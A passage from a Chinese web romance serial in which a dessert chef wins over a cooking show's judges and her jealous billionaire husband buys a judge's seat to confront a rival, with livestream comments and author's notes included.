眼看着弹幕全是这种疑惑的内容,明颜赶紧飞快的发了一条科普:“Sherry以前可是米其林三星甜品主厨哦,人家是今年才回国的 ,获得过好多荣誉!” 可惜她的弹幕很快被淹没,压根没引起什么水花。 四个甜品师按照节目组的要求很快都做出一份焦糖舒芙蕾,放在了三位评委面前。 经过一一品尝,最后三位评委竟然都对同一份舒芙蕾打了最高分。 而主持人林华也很会来事,立马引起悬念:“哇,这道得到三位评委最高分的舒芙蕾究竟是出自谁呢?让我们……” 主持人嘉莹:“先进一段广告,再来揭晓!” 弹幕:“这个时候进广告,我看你是红豆吃多了,相思了。” “没想到吧,我会拉进度条。” “我猜是文轩!人家甜品界的天花板不是白叫的。” “有可能是小丸子,她做的甜品每一道都很精美啊。” “应该是那个特邀的美女吧。” 弹幕上猜的五花八门,广告之后,主持人也采访四个甜品师,问他们谁能拿到最高分。 两个网红甜品师都谦虚地说自己还有进步空间。 文轩调侃的语气说:“还能不是我?” 轮到梁音回答,她只有两个字:“是我。” 弹幕又热闹了起来: “哇,太自信了吧这个美女。” “就不怕打脸吗?” “太自负的人往往只有一个下场,懂的都懂。” 这时梁音又笑了笑,接着说:“如果不是我,就当我没说。” 弹幕上演极速变脸: “骂早了嘿嘿。” “主厨姐姐还怪幽默的嘛,就是梗太老了喂。感觉像是为了上节目临时突击学习的。” “主厨姐姐的网速其实是2G的,她还觉得自己冲浪很快。” “你看这事闹的,我让你说话快一点吧。” “主厨姐姐虽然在搞抽象,可是看起来真的好自信,站在那里就有种“lamthequeen”的感觉。光芒万丈的。我感觉真的是她。” 这时主持人开始公布结果:“拿到最高分的就是——梁音!” 节目组还煞有介事的搞了个荣誉的撒花环节,和小学生颁奖一样幼稚。 梁音非常配合的做出吃惊的表情,然后戴上了那个所有蛋糕店都有的黄色纸皇冠。 然后发表获奖感言:“谢谢节目组颁发给我的荣誉,我会带回去好好收藏的。” 主持人:“要拿回去裱起来吗?” 梁音:“那倒也不至于。” 演播厅里响起一阵阵的笑声。 梁音轻松的态度很好的缓和了现场的气氛,让没有拿到最高分的其他甜品师也不至于太过尴尬。 比赛环节过后就是评委的点评环节。 三位评委对四份舒芙蕾都做了精准专业的点评。 周叙琛和文杰用词都比较平和,而以毒舌著称的沈又安用词则犀利多了,点评完其他三个人后,大家脸上的神情都变得有些凝重了。 弹幕:“还是又安说真话。” “全是夸夸夸来什么竞赛节目啊拜托。” “还有那个梁主厨没点评呢,想知道她做的舒芙蕾真的就这么好吗?” 这时候沈又安看着梁音好几秒,表情看上去很为难,看起来好像难以忍受很嫌弃似的。结果最后他竟然说:“梁老师,毫不客气地说,您做的这道舒芙蕾是我吃过最好吃的舒芙蕾。不只是简单的口感极佳,而是,我在你的甜品里尝到了一种久违的“人情味”,很甜,很温暖。就像是小时候,我最最想念的味道。第一口尝到它的时候我就在想,到底是哪个甜品师能做出这么完美的作品。见到你时,我的一切疑惑都有了答案。我一想到接下来还能品尝到你的作品,就倍感期待。而我为这道甜品打了一……分?开玩笑,我打了一百分!” 通篇全是溢美之词,和前面的毒舌点评形成鲜明的对比。 话音落下,全场哗然。 这个评价也太高了吧! 节目播到这里,第一期(上)就结束了。 因为沈又安完全赞美的点评,在节目播出后,关于梁音做的甜品有多好吃都冲上了热搜。 一打开微博,#完美厨神神级舒芙蕾#这个话题竟然冲到了热搜榜第五。 里面评论五花八门: “能有多好吃,还神级甜品,我不信。” “这个梁主厨这么厉害吗?节目上也写了说她是特邀嘉宾诶,什么来头啊?” “有没有人来扒一扒?” “天呐,这是我听到沈又安最温和的一次点评了。这种偏爱似的发言竟然……有点甜?” “楼上老吃家了我说。” “说实话我也有点嗑到了。” 《完美厨神》第四季的开播,因为有周叙琛的加入,再加上赛制和梁音的出色表现引起了不少的讨论,热度一路走高,开播当天,就破了第三季的热度,可谓是开门红了。 —— 晚上十点,飞机落地宜京。 出差半个月的霍景闻刚刚回到国内,为了拿下海利集团的合作,霍景闻已经连续半个月每日工作超过十二个小时。 而长时间的飞行也让他感到一丝疲惫。 刚下飞机,他就收到了一条微信。 目光落在那条微信上几秒,紧接着又沉默的关上手机。 明天周六了。 他的小公主要来了。 由于他之前半个月都在欧洲,所以前两个周六他都缺席了。 李阿姨发了条微信问他,明天要不要送女儿过来。 夜晚的风有些凉。 一辆泛着银白冷光的阿斯顿马丁在他身边缓缓停下,安叔下来替他打开车门。 霍景闻上了车,疲惫的往后靠,闭上眼休息。 阿斯顿马丁在夜色中疾驰,路边的霓虹飞速的往后退。 霍景闻明明很累,精神却一直紧绷着,闭上眼也睡不着。 重新睁开眼,偏头看向窗外,车窗外的光景一闪而过。 霍景闻眉头皱了皱,刚刚他是不是看错了,竟然在一个大屏幕上看到了梁音的身影? 沉寂的车里,这时一道铃声忽然聒噪地响起。 是尹文昭的电话。 霍景闻随手接起。 尹文昭兴奋的声音从手机里传来:“霍少,你今天是不是回国了?刚好,我要向你报告一个好消息,我们战队,夺冠了哈哈哈!” 霍景闻没什么情绪:“哦。” 尹文昭:“怎么着,我没让你失望吧。我说了,你投资我,绝对是高回报。现在不知道多少广告商来找我们呢,连那个最近最火的综艺节目,也有意向邀请gm去做一期飞行嘉宾呢。我们gm是彻底火了!” 霍景闻没什么反应。 投资尹文昭俱乐部的这点钱他本来就没放在心上。 当初决定投资不是因为尹文昭搬出了那个天才打野,而是因为,他需要一个契机,一个出现在梁音面前的契机。 至于投资的回报,那只是附加收益而已。 所以他对这个俱乐部的事也算不上太上心。 尹文昭还在得意地说:“那个综艺节目很火的,《完美厨神》第四季,对了,这个节目好像就是霍氏旗下的娱乐公司投资的,你知道不?” 霍景闻:“一个小小的综艺节目投资,还需要我亲自过问?” 尹文昭语气讪讪:“也是哈。好了不提这事了,我最近又收了瓶好酒,我现在就来找你,咱们今晚庆祝一番,不醉不归,怎么样?” 霍景闻虽然疲累但是也睡不着,干脆接受了这个提议。 …… 灯红酒绿时。 千水公馆顶层。 落地窗外灯火连绵,灿烂的霓虹在他眼底,如一条波澜壮阔,起伏不定的游龙,耀眼的灯火,构建成宜京繁华又璀璨的夜景。 这片夜景太靡丽疏冷,却实在美丽, 霍景闻脚下已经有一瓶喝空的红酒,却仍嫌不够,仰头将杯子里的红酒一口喝净。 酒精可以麻痹人的大脑。 或许只有这样,他才不会随时随地想起梁音。 尹文昭只带了两瓶酒,没想到霍景闻今天的兴致这么好,全都喝完了。 舍命陪君子,他又去霍景闻的酒柜里拿了瓶出来。 好家伙,这里的酒随 便一瓶都比他的好。 “我说霍景闻,你这里藏着这么好的酒,天天喝我的,你也太不仗义了!我给你开了啊。” 霍景闻没搭理他,看起来情绪不高。 他可不敢惹这个喜怒无常的大少,干喝酒也无聊,尹文昭就随手打开了电视,准备重刷《完美厨神》,为了给安灵大小姐的节目刷热度,还把自己手机也打开,一起放。 他这么兢兢业业的刷热度,安灵知道了还不得夸死他,嘿嘿。 很快客厅里就响起了节目嘈杂的声音。 综艺节目本就跳脱,热闹,传来的各种声音更加令人烦躁。 霍景闻情绪不佳,听了两句转头就要让尹文昭关掉。 忽然,电视里传来一道熟悉的柔和声线:“大家好,我叫梁音……” 霍景闻怀疑自己听错了,他怎么会听到梁音的声音出现在电视里? 转身来到客厅,只见电视画面里,正在做自我介绍的甜品师,确实是梁音。 原来他在路上并没有看错。 她竟然参加了一档美食综艺。 尹文昭看他走过来,以为他有兴趣,立刻介绍:“这就是我和你说的那档综艺,对了,这个甜品师你很眼熟吧,对,就是Sherry老师,她上这个节目得了很多好评呢,评委打的最高分都是她,太厉害了!” 尹文昭:“没想到啊,当初我还以为她就是一个小甜品店的厨师,没想到这么厉害,把那个文轩都给比下去了。” 尹文昭一说起来就滔滔不绝,说着梁音在节目上的表现有多好,吸引了多少粉丝,热度多高之类…… 霍景闻姿态闲散地站着,看着电视机,表情淡漠,没发一言。 她本来就厉害。 七年前,她还是一家西餐厅的学徒时,就收到了当时餐厅经理的邀请,要直接让她当副主厨。 明珠就是明珠,走到哪里,都不会蒙尘。 这档综艺节目确实很火,滚动的弹幕密密麻麻。在一大片某个明星的彩虹屁中,霍景闻忽然看到一条弹幕:“啊啊啊啊啊啊居安思音说话了,嗑死我了!” 霍景闻:“?” 居安思音是什么东西? 尹文昭笑着说:“这个是梁老师和那个评委沈又安的cp名,别说,这群粉丝还挺有才的呢。” 原来在第一期节目播出后,因为沈又安和梁音的互动,在一大片感叹梁音的实力声中,cp粉们也在悄然崛起。 在一档美食节目,另辟蹊径,糖点刁钻的“嗑学家们”迅速给梁音和沈又安取好了CP名,就叫“居安思音”。 天才甜品师X毒舌美食家,看起来都般配极了。 尹文昭:“他们的cp粉现在都有一两万了,天天在节目组下面要求多给他们两个互动的镜头。这节目组还能不抓住这波热度?估计下一期,这节目组还真的会搞点事出来?” 霍景闻冷笑了一声:“她这是去参加美食综艺还是参加恋爱综艺?怎么,现在的节目除了情情爱爱就不会拍了是么?一档美食节目,不专注拍美食拍恋爱?连主题都能偏离,这节目火得了几时?” 尹文昭觉得他火气好大。 有点莫名。 “肯定是做美食为主啊。这种互动都是后期剪辑剪的,节目组最多就是让他们多互动一点,怎么会偏离主题呢。” “而且这个沈又安长得又帅,男帅女美的,看起来也养眼啊。” 尹文昭话落,镜头刚好就放到了沈又安,长相很清秀俊逸,听说家里也是富二代,自己出来创业做美食博主的。 这个人一向是以毒舌著称,没毛病也能硬挑出点问题来的那种。这还是他第一次这么夸人,别说那群粉丝,尹文昭都觉得他有点嗑到了呢。 他特意把进度条拉到沈又安点评梁音那段:“你听听,这对梁老师的一通赞美,还说对梁老师的作品倍感期待呢,太会说了。我要是梁老师,我听了也高兴啊……” 尹文昭喜滋滋地说完,一转头看到霍景闻脸色沉沉,不知为何心里微妙的升起一种危机感,立马有眼色的闭了嘴。 不是,他夸梁老师,这大少爷怎么这么不高兴? 哦,他想起来了,上次这大少爷看到梁老师也是一副不耐烦的态度。 难不成梁老师哪里惹到这阎王爷了? 正在尹文昭头脑风暴之时,霍景闻看着屏幕上沈又安的笑脸,声线极冷:“这叫点评得好?” “不知所谓。” “不明所以。” “不怀好意。” “言之无物。” “文盲一个。” 霍大少犀利精准地对这个博主给出了锐评。 尹文昭恍然大悟。 原来是对这个沈又安不满啊,他就说嘛,梁老师人这么好,怎么会惹到这大少爷呢。 尹文昭连忙附和:“就是就是,我也觉得这人娘里娘气的,点评这几句话看似说了很多,其实就一句话的事。要是你去评,肯定比他评得好得多!” 结果尹文昭这马屁一下就拍到马腿上了。 霍景闻面色更加不快,“你觉得我霍景闻,还要抢他一个小小博主的位置,去做什么狗屁评委?” 话音落下,电视里刚好是梁音的回答,她笑着说:“谢谢沈老师,我也很期待接下来为你呈现更多有人情味的甜品。” 节目上每个评委点评过后,甜品师都要针对评委的点评做出回应的。 所以这里梁音才说的是“为你”。 但是CP粉们可不管这么多,他们疯了一样开始在弹幕上刷屏: “居安思音是真的!” “kswl!” “小情侣发糖了!” 此时节目已至尾声,密密麻麻的弹幕伴随调远的烟火气息的模糊画面,有一种happyending般的美好。 尹文昭看过几遍了,都觉得这结尾拍得真点题真朦胧真美,可是不知道为什么,此时竟然莫名感觉到脊背一凉,识相地没敢出声。 抬头看向霍景闻,只见霍景闻阴沉地盯着屏幕,好像弹幕不是在发“kswl”这种嗑糖蜜语,而是在发“nmsl”这种血腥之词—— 作者有话说:霍少破防+2哈哈哈。 这本不知不觉又写了一半了,非常非常非常感谢宝贝们的支持,这章评论区给大家发红包哦,啵啵啵[亲亲][亲亲][亲亲],谢谢大家~ 第43章 第43章“好久不见,老婆。”…… 霍景闻答应了女儿回国后要带女儿去游乐园,周六一天显然不够,但是因为他之前受伤住院,出国出差,都没办法在周六接女儿过来,这周把女儿接过来两天,也不为过。 周六一大早李阿姨就把意意送了过来。 “爸爸……” 半个月不见,小豆丁很想他,迈着小短腿跑过来抱住了他的腿。 霍景闻弯腰一把把女儿抱起来放在手臂上坐好,让李阿姨先回去。 带女儿去到衣帽间,打开其中一个行李箱,里面满满登登的全是礼物。 “哇~”意意捂着张得圆圆的小嘴,“这些都是意意的礼物吗?” “是呀。” 霍景闻把女儿放下来,随手拿了一个兔子发箍戴在她脑袋上,孩子脸蛋粉粉的,耳朵毛茸茸的,还真像个可爱的小兔子。 真可爱。 意意就忙着去拆她的礼物去了。 霍景闻又重新拉了一个空的行李箱,收拾了两套自己的衣服,然后走到另外一边,看着一墙花花绿绿的童装陷入了沉思。 小孩子去游乐园穿什么比较好? 公主裙? 还是穿裤子比较方便? 霍景闻正在思考间,意意从客厅费力的拖来一个小箱子,“爸爸,衣服妈妈都准备好了。” 霍景闻看着那个贴着可爱贴纸的小箱子没说话。 她还真是准备周全,连衣服都准备好了。 意意见爸爸没动,自己把小箱子打开,找出一条黄色的公主裙开心地说:“我要穿漂亮的小 裙子去看瑞瑞。” 霍景闻:“瑞瑞?” 这又是什么东西? 意意一看就知道老父亲没见识,好心好意地解释:“它是一条善良的小蛇啦。” 霍景闻恍然:“哦。” 原来是条蛇啊。 蛇就蛇,还漂亮的小蛇。 缺席了一个月,霍景闻这次打算亲力亲为陪女儿好好玩。连房间他都订了小朋友最喜欢的乐园酒店。 事实证明,霍景闻这个决定太英明了,小公主一到酒店就像入了水的小鱼,快乐得跑来跑去。 特别是酒店大堂里,各种玩偶人物走进来的时候,小公主更加兴奋。 “这是奇奇。” “这是贝儿。” 意意每一个都认识,走进来一个,她就给霍景闻介绍一个。 霍景闻感觉今天这一天自己把所有的小动物都要认全了。 意意开心地拉着霍景闻要和他们合照。 “拍给妈妈看。” “可是露露今天为什么不在?我也喜欢露露的……”意意四处望了望,没看到露露有点失望。 工作人员见状走来热心地给小朋友解释:“露露临时有别的安排哦,小朋友可以期待一下明天,再来和露露拍照。” 意意点点头,表示知道了,但还是有点失望。 霍景闻见状,叫来工作人员,和她说了句什么。 下午三点,在大堂拍完了照,霍景闻带着女儿上楼回房间,这次,他特意把房卡给她,让她自己开门。 意意看了看爸爸,把房卡接过来,放在了门上。 “嘀”地一声,房门打开。 意意推开房间门,刚走进去,一个穿着红色裙子,水灵灵圆眼睛的兔子玩偶在房间雀跃的舞动了两下和意意打招呼,然后就小碎步跑过来蹲下,亲昵的抱了抱意意。 旁边的工作人员在一旁解释:“露露听说有个意意小朋友想见她,很高兴,特意来这里等她,想和意意做好朋友呢。” 意意愣了一下,眼睛里绽放出亮晶晶的光芒,激动地说:“我也想和露露做好朋友!” 刚刚的那点失落完全不见了。 霍景闻很满意。 穷人才需要许愿。 他的女儿,不需要。 他的小公主,就该要什么就得到什么。 但是…… 酒店套房里,意意拆出了乐园酒店准备的两个发箍,兴致勃勃的要戴上去游乐园玩。 臭美的在镜子面前照了好一会儿,紧接着,意意拿起另外一个发箍跑到霍景闻面前:“爸爸,你戴这个。” 霍景闻低头看了看女儿手上那个幼稚的粉色狐狸发箍……这种粉嫩的颜色,如果戴在了他头上,那该多可笑。 “这个颜色……”霍景闻夹着嗓子,试图委婉拒绝,“好像不太适合爸爸呢。” 他能不能不戴? 如果是刚刚见到霍景闻的意意,那她肯定不好意思为难她的老父亲。 但是因为霍景闻的过度纵容,意意早就没有一开始的小心翼翼,反而敢大胆的要求命令他了。 “不行,爸爸就要戴这个。妈妈说了,这叫亲子装扮,我和妈妈来乐园都戴一样的。” 霍景闻:“那是因为妈妈也是女孩子。” 意意倔起来是不讲道理的,见霍景闻不戴,重重地“哼”了一声,就“吨吨吨”跑到门口蹲下生闷气。 蹲几秒,就大声地“哼”一声,以引起霍景闻的注意。 小倔驴气鼓鼓的,捏着那个发箍不放手。 霍景闻无奈地揉了揉眉骨。 这小脾气,也不知道是随谁了。 不紧不慢地走过去,弯腰把她提抱起来。 “行了小祖宗,我戴,我戴还不行么?” 意意这才满意,傲娇地嘟嘟小嘴巴:“这还差不多。” 装扮好霍景闻就带着孩子出门了。 他虽然不喜欢戴这粉色的小狐狸,但戴上了也没什么不自在。 下午的游乐园人依然爆满,每个项目外面都排起了长队,不排一个小时都进不去。 当然,不包括霍景闻这种人民币玩家。 买了尊享导览,有游乐场的员工专门引入园,无需排队。 意意这一下午玩得很开心,霍景闻陪着她玩了许多项目,虽然他的拍照技术不太好,但他还是耐心的在每个地方都给女儿拍照打卡。 当然,工作人员也会帮他们拍。 直到晚上八点,小孩儿终于玩累了,揉了揉眼睛,抱住爸爸的大腿,伸手要他抱。 霍景闻把相机交给工作人员,把女儿抱了起来,轻轻拍了拍她的背,转身往出口走去。 一路上,抱着女儿的霍景闻吸引了不少的注视,甚至还有人偷偷拿出手机拍照。 回到酒店已经快九点。 霍景闻把已经呼呼大睡的小猪叫醒,准备给她洗澡。 怕她醒来哭,还特意拿出平板打开小猪佩奇递给她。 果然,被吵醒的意意揉了揉眼睛,看到动画片后一点起床气都没有,立马坐在沙发上聚精会神的看了起来。 霍景闻打开行李箱,先找出意意的睡衣,又去浴室打开了暖气,放了热水。 准备好以后出来叫孩子洗澡,却发现他的小公主没有在看那个弱智的粉色吹风机,而是不知道什么时候,点开了某档有她妈妈的综艺。 小孩儿看到梁音出来,那双大大的丹凤眼都亮晶晶的弯起来了,小手还在屏幕上摸了摸梁音的脸。 霍景闻走到女儿身边蹲下来:“小公主,不看了,该洗澡了。” 小公主拿起平板和他分享:“爸爸,你看了妈妈的电视了吗?” 霍景闻顿了下:“看了。” 小公主:“妈妈在里面好漂亮呀,大家都喜欢我的妈妈嘻嘻。” 小公主:“还有这个姓沈的叔叔,他还加了我妈妈的微信。” 霍景闻眉心一跳:“?” 丢下重磅炸弹的意意这个时候已经关上了平板,从沙发上跳下来。 “爸爸,我去洗澡啦。” “嗯。” 迟了一秒,霍景闻才回答。 浴室门被关上,霍景闻弯腰拿起沙发上的平板,看着画面上那个笑得一脸灿烂的沈右安,感觉十分的碍眼。 过了几秒他把平板丢下,冷笑了声。 他果然没看错,这个男的对梁音就是居心不良。 他还没死呢。 撬墙脚撬到他霍景闻头上来了。 来到窗边,霍景闻拨了个电话打出去,不过几秒那边就接通了。 霍氏娱乐的总经理吴欢战战兢兢接起电话:“霍总,这么晚了您找我是什么事啊?” 霍景闻开门见山,语气冷冽:“把《完美厨神》的投资材料发给我。” 吴欢没想到霍总会亲自过问这么小的一个投资项目,连忙回:“好的,我现在就发到您的邮箱。” 吴欢几乎是马不停蹄的来到电脑前,立马把资料给霍景闻发了过去,在这个过程中,电话也不敢挂。 《完美厨神》热度不仅节节攀升,口碑也非常不错。这个项目回报率很高。 吴欢趁着霍总问起的这个机会有心邀功,继续说:“说来也是巧,早上《完美厨神》的制片人还打了个电话给我,向我申请追加投资。节目正热,这制片人想趁热打铁,把节目质量做得更高,再请两个有名气的飞行嘉宾呢,但是我还在考虑中没回复,不知道霍总您的意思是……” 霍景闻点开吴欢发来的资料看了几秒。 停了下。 “可以追加投资。”他漫不经心地说,“前提是,他们要增加一个评委席位。” 吴欢有点惊讶:“霍总您这是想让谁去当评委?” 霍景闻关掉资料。 “我。” …… 《完美厨神》第二期正式开始录制。 这期开始,就不是做固定的甜品了,而是由评委命题,让甜品师做出他们要求的甜品。最后,由评委打分,决出高低。 在节目开始录制之前,安灵就神神秘秘跑过来兴奋地对梁音说:“赚死了赚死了 ,今天会有一个大牌嘉宾出席,我敢保证,这期节目一定大爆特爆!” 梁音也听说她的追加投资批了,猜测她是不是又请到了一个顶级大流量参加。 谁知安灵一口就否决了:“大流量已经有一个周叙琛了啊,现在还有谁比他更火,再请有什么意思。我的意思是,请到个大人物。” 一个顶级财阀出现在她的节目,还是个堪比顶流男星的超级大帅哥,谁不想看? 包火的! 这是上天看她可怜,终于让她鸿运当头了呀! 她都不敢相信,霍家的太子爷,现任霍氏总裁竟然点名要参加她的节目! 梁音看她这样,想不到还有什么大人物能让她如此激动。 不等探究,演播厅里工作人员已经布好场,准备开始录制了。 经验丰富的两位主持人很快说完开场白,将场子热了起来。紧接着主持人林华就开始隆重介绍:“本期节目组很荣幸地请来了一位重磅嘉宾评委,他就是本节目的赞助商,国际金融峰会荣誉主席,企业家联合会会长,霍氏集团首席财务官,首席执行官霍景闻先生!” 介绍他的来头都整整花了一分钟。 话音一落,台下观众先是有点懵,然后就躁动了起来。 霍氏的首席执行官? 是他们想的那个霍氏吗? 这种只出现在财经新闻里的财阀大佬,竟然来一档综艺节目中担任评委了?疯了吧? 在宜京,可以有人不认识当红大明星,但是宜京霍家,这个顶级豪门可谓无人不知无人不晓。霍家产业遍布宜京,可以说宜京十分财富,霍家独占七分。 这个写满权势财富的家族在商业上风光独秀,但私下却很低调,除了财经访谈,很少出现在公众镜头里。 连很多富商最容易出的花边新闻,都与霍家无缘。当然不是狗仔拍不到,而是,不敢爆。 能爆出来的,除非是特意授意,比如一个月前霍氏前任CEO的“丑闻”。 而就是这么显赫顶贵的霍家太子爷,来这么一档小小的综艺节目,当评委了? 别说台下的观众,就连台上的其他嘉宾,也恍如梦中,怀疑自己的耳朵。 底下的观众交头接耳: “卧槽,我没听错吧,真的是霍家的太子爷来了?” “不会吧,这节目这么屌,把他请来当评委了?” “不可能啊,我还是有点不敢相信……这可是霍家的太子爷啊,来上一个小小的综艺节目?这霍家不是一向很低调的吗?” “有什么不可能,你们没看新闻吗,霍氏集团内斗很严重,前段时间不是还爆出了个什么丑闻,都影响到霍氏的股价了,那段时间霍氏的股价一直在跌,说不定这霍总参加节目,是为了挽救霍氏的声誉?” “看点新闻就把自己当根葱了?霍氏需要挽救什么口碑?你没看到么,霍氏可是和海利集团达成合作了,这股价早就升回来了,现在一路飘红。再说了人家这是集团内斗,哪个大公司没有,需要挽救什么声誉?” “那你说这霍氏的总裁为什么来当一个小小的评委?!” “……” 另外一个人就不说话了。 别说观众不知道,就是节目组也不清楚啊。 而在这时,台上聚光灯齐聚,光芒鼎盛,在那一刻,所有目光翘首以待,演播厅内鸦雀无声。 霍景闻从后台出来,长腿踩在干净的地板上,慢条斯理,随心所欲,一步一步走来。 头顶聚光灯闪过他身上黑色挺括的西服,泛出黑曜石般的光泽感,戗驳领款式的马甲上带着繁复的暗纹,纽扣扣到最上面一颗,收出紧窄的腰线,气度雅痞。 黑色的碎发落在凌厉眉骨上方,肤色冷白,微微上挑的丹凤眼里透着薄冷的光,神色雍容,情绪难辨。 梁音清晰地听到了从观众席上传来的惊叹声。 她也愣愣抬眼望去。 他不紧不慢地走出来,步点随着升起的音乐同步,只是站在那里,就带着与生俱来的矜贵。 观众席上传来阵阵的惊呼。 “我天,这,这也太帅了吧?这身高,至少有一米九了!” “啊啊啊帅得我腿软!” “又帅又有钱,妈的,爽死了。” 这时主持人林华也走到他身边主持,细听之下,主持人的声音也略带上了几分恭敬。 但没有人觉得不对。 “霍先生您好,我是主持人林华,非常荣幸您能来我们节目担任评委,方便问您,是什么打动了您,让您百忙之中抽空前来我们节目呢?” 这也是观众们想知道的。 霍景闻往参赛区扫了一眼,懒洋洋地说:“我喜欢甜品。” “所以我来,是想找到我生命中缺席的那份——最佳甜品。” 这个原因,简直是又切题又有深度。 令众人对这位太子爷的感观立马拔高了好几分。 英俊有钱,一定是个风度翩翩的贵公子。 众人心想。 很快,霍景闻就打破了观众对他的“偏见”。 主持人林华引霍景闻走向烹饪参赛区,为他介绍四位参赛的甜品师。 第一个就是文轩。 文轩记得自己曾经在菲尔纳丽见过这位霍总一面,激动地说:“您好,我叫文轩,我们在菲尔纳丽见过一面您还记得吗?您夸赞我做的舒芙蕾好吃。” 其实那份舒芙蕾是梁音做的,文轩还以为霍景闻不知道,依然借此攀附。 文轩热情的说了一大通,虽然太过热络,攀附之意明显,但也能说是太过激动,可以理解。 哪成想霍景闻却一点面子也不给他,冷冷地说:“是么?” “不记得。” 底下一片哗然。 这可是在镜头前,一点也不掩饰,当场让人下不来台,这也太张狂了吧? 但接下来,大家又发现,这位大少是一视同仁。 网红小丸子眼冒星星要和他握手,他当没看到,连手也没伸。 另一个网红豌豆就识相地只做了自我介绍。 最后他站到梁音面前。 梁音按照流程自我介绍,说完后安静地看着他。 她是真的不明白,他为什么突然来这个节目? 等梁音介绍完,霍景闻只静静看着她几秒,演播厅里一片沉寂。 观众都以为他跋扈到连回应一句都不屑了,底下隐约可听到倒吸冷气的声音。 只有面对他的梁音,清清楚楚看到了他无声的口型。 他说—— “好久不见,老婆。”—— 作者有话说:霍景闻黑粉:过年![墨镜] 第44章 第44章因为,我想见你。 等所有甜品师介绍完。 霍景闻才慢吞吞转身,没什么语气地说:“我这个人很公正,所以,禁止以任何形式贿赂评委。” 一句话就解释了他那么“冷漠”的原因。 这时候主持人嘉莹走出来笑着说:“看来我们这位新评委是个很严格的人呢,选手们要加油咯。” 说完后她请霍景闻去评委席上就坐。 霍景闻点了点头。 演播厅的气氛也顿时缓和了几分。 当然,肯定还是会有人觉得他太狂妄。梁音都可以预见,等这期节目播出后,弹幕上的腥风血雨。 …… 节目录制完已经是晚上八点。 刚刚结束,就看见台上一大群人朝霍景闻涌了过去。 梁音看了一眼,转头离开演播厅去后台休息室换衣服。拿到手机,看到刚才意意给她发了语音,问她什么时候回家。 走到一半,安灵追过来拦住她提醒了句:“哎梁音你别走啊,待会儿还有个饭局,所有人都去,关键是霍景闻也去!这可是个结交的好机会,你千万别错过啊,这种好机会说是千载难逢也不为过!你没看到那群人,都跑去拍马屁了,生怕不能在大佬面前露脸。” 梁音摇了摇头:“不了,时间太晚了,我女儿还在家里等我。” “这样啊。” 安灵见状也没多劝,“好啦好啦,知道你不喜欢应酬,那到时候有什么事,我再联系你。” 梁音:“谢谢啦。” 安灵:“小事儿,要不是你把我骂醒我还沉浸 在自怨自艾里呢。哪里有勇气开第四季?事实证明,失败只是一时的,只要有勇气开始,成功总会降临!” 梁音笑了一下,“是啊,安大哲学家,你说得没错。” 节目的收视率和口碑都不错,梁音也为她感到高兴。 安灵嘿嘿笑了声,忽然又神秘兮兮地说:“不过我总觉得这霍总不单单是为了找到什么最佳甜品来的,你说,这种有钱有权又忙得没边的霸总忽然要来当评委是为什么,还真为了个甜品啊?” 安灵的话像是一颗石子丢在平静的水面,震出了许多涟漪。 梁音顿了顿,低声说: “我也不知道。” 安灵也就是那么一说,她也没觉得梁音这种天天只知道甜品和女儿的古板美女能知道什么豪门惊天秘闻,转而又说起另外一件事。 她四周看了一眼,见大家都在忙自己的事,没人注意到她们这边,这才八卦地说:“对了,我发现这个沈又安对你还真的挺有意思的,你发现了没?” “?” 梁音抬起眼皮,觉得莫名,“你怎么也和网友一样,开始胡乱拉郎配。我之前和他从来没见过,也就录了一次节目,人家就能爱上我啦?我是仙女吗?” 她无奈地摇了摇头。 谁知安灵一口就说:“对啊,你就是仙女啊,会做甜品的小仙女,我和尹夏都喜欢你,那他沈又安对你一见钟情也是很正常的啊?脾气又好又温柔,还会做好吃的甜品的小仙女谁不喜欢啊?” 梁音呼出一口气:“谢谢你喜欢我,我知道你是我的粉丝了,但是,你也不用太盲目觉得别人也这样喜欢我。” 安灵一本正经:“我没有被粉丝滤镜蒙住眼,我说的是真的。” “据我观察,这沈又安在节目里看了你好多次,而且他私下里就加了你一个人的微信你知不知道?” 梁音:“……” 梁音:“我都有女儿了。” 安灵一脸满不在乎:“这有什么啊,有女儿别人就不惦记啦?你信不信,待会儿沈又安就会过来找你。要么,是要送你回去,要么是请你吃饭,你等着吧。” 安灵信誓旦旦地说。 梁音离开演播厅,去外面打车,她的车送去做保养了。 明颜刚好发微信过来,说要来接她,还在路上,让她等几分钟。 梁音回了个好,关掉手机,。 一路上她也在想安灵的话。 说沈又安对她有意思,她是怎么也不相信的。说实话,哪里有这么多的一见钟情的,她和沈又安才见了几面? “梁老师?” 思索间,一道清冽的男声从身后传来,没过几秒,一个穿着棕色外套,长相俊秀的男人快步走了过来。 是沈又安。 他看见梁音站在路边,客气地问了一句:“梁老师是在等车吗?这个时间段很难打车的,要不我送你吧?” 梁音愣了一下,连忙拒绝:“不必了,我朋友已经来接我了,很快就到。” 沈又安:“好吧。是你朋友来接?” 梁音:“是的。” 沈又安好奇地问:“我看其他人都去饭局了,梁老师为什么不去?” 梁音想了一下说:“我不太喜欢应酬,而且,我要回家陪女儿。” 她不想太自恋,但是如果真的像安灵说的那样,沈又安有这个意思,那她这句话,就是隐晦的拒绝了。 没想到沈又安笑了一下,完全不意外:“梁老师的女儿很可爱,我去年在佛罗伦萨,看见过小朋友,和梁老师长得很像。” 梁音愣了一下,很意外。 沈又安继续说:“其实我在节目上说的是真的,梁老师做的甜品我一直很喜欢,之前在佛罗伦萨我就尝过你的甜品了。我妈妈也是个甜品师,拿手的招牌就是舒芙蕾,可是她前几年走了,我再也没有吃到过让我想念的味道,直到我去了佛罗伦萨。” “梁小姐,有机会能请你吃顿饭么?我是想像你请教一下怎么才能做出我喜欢的舒芙蕾。” “原来是这样。”梁音没想到沈又安请她吃饭是为了请教做舒芙蕾。 安灵确实是误会了。 她也是,太过小题大做。 想了下,梁音说:“沈先生想念妈妈的味道我能理解。这样吧,我回去给你发一份制作的教程和配方,如果你有哪里不懂的,可以随时问我。至于吃饭……” 沈又安连忙说:“吃饭还是要的,要不然我还真不好意思让梁老师免费教我。” 话音落下,梁音还在犹豫。 忽然两束明亮的车灯像探照灯一样横冲直撞照了过来,沈又安侧身看去,一辆炫黑布加迪超跑缓缓停在路边。 这么骚包又高调的车,全宜京只有一辆。 车窗缓缓降下,路灯的光影落在霍景闻刀削斧刻般硬冷峻挺的半边侧脸,划出黑白分明的分界线。那轻慢审视的眼神看过来,带着令人不适的傲慢。 他慢条斯理掀了掀眼皮,神色散漫,看向沈又安,嘲讽意味十足:“好老土的搭讪方式,傻子才会信。” 站在路边的沈又安:“……” 梁音:“……” 有必要一句话骂两个人么? 沈又安心想,他是哪里得罪了这位霍总么? 